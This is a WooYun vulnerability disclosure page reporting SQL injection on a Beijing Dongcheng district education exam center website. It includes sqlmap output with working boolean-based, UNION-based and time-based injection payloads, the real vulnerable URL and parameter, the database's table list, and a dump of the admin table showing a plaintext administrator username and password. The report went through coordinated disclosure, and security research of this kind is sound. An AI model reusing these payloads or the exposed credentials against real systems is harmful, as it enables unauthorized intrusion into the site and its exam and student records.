当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-044834

漏洞标题：东城区教育考试中心站点存在SQL注入漏洞

相关厂商：北京东城区教育考试中心

漏洞作者： 喷嚏

提交时间：2013-12-04 16:31

修复时间：2014-01-18 16:32

公开时间：2014-01-18 16:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-04： 细节已通知厂商并且等待厂商处理中
2013-12-08： 厂商已经确认，细节仅向厂商公开
2013-12-18： 细节向核心白帽子及相关领域专家公开
2013-12-28： 细节向普通白帽子公开
2014-01-07： 细节向实习白帽子公开
2014-01-18： 细节向公众公开

简要描述：

东城区教育考试中心 站点 存在SQL注入漏洞

详细说明：

Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=724 AND 5546=5546
    Type: UNION query
    Title: MySQL UNION query (NULL) - 16 columns
    Payload: id=-1194 UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
L, NULL, NULL, NULL, CONCAT(0x3a656c663a,0x4555445449675a4c6663,0x3a6866783a), N
ULL, NULL, NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=724 AND SLEEP(5)
---
[20:31:11] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[20:31:11] [INFO] fetching columns for table 'back_admin' in database 'sq_dcks'
[20:31:11] [INFO] the SQL query used returns 3 entries
[20:31:11] [INFO] retrieved: "[u'uid', u'int(11)']"
[20:31:11] [INFO] retrieved: "[u'user', u'varchar(10)']"
[20:31:12] [INFO] retrieved: "[u'pass', u'varchar(15)']"
[20:31:12] [INFO] fetching entries for table 'back_admin' in database 'sq_dcks'
[20:31:12] [INFO] the SQL query used returns 1 entries
[20:31:12] [INFO] retrieved: "[u'bonnie20040513', u'1', u'admin']"
[20:31:13] [INFO] analyzing table dump for possible password hashes
Database: sq_dcks
Table: back_admin
[1 entry]
+----------------+-----+-------+
| pass           | uid | user  |
+----------------+-----+-------+
| bonnie20040513 | 1   | admin |
+----------------+-----+-------+

漏洞证明：

注入点：www.dcks.org.cn/zhongkao/show.php?id=724
-----------------------------------------------------------
dbname：sq_dcks
tables：
back_admin
bmk
check_key
dingdan
index_pic
ksdadmin
kstd
leaveword
link
news
news_class1
news_class2
news_class3
product
product_class1
product_class2
product_class3
uploadfile
usr_member
xiaoxuematriculate
zhongkaoinquire
zhongkaomatriculate
-----------------------------------------------------------
Database: sq_dcks
Table: back_admin
[1 entry]
+----------------+-----+-------+
| pass           | uid | user  |
+----------------+-----+-------+
| bonnie20040513 | 1   | admin |
+----------------+-----+-------+
(9DN5F59R_XN~C9}]3N{6QM.jpg

修复方案：

交给专业的你们！

版权声明：转载请注明来源 喷嚏@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2013-12-08 22:40

厂商回复：

最新状态：

暂无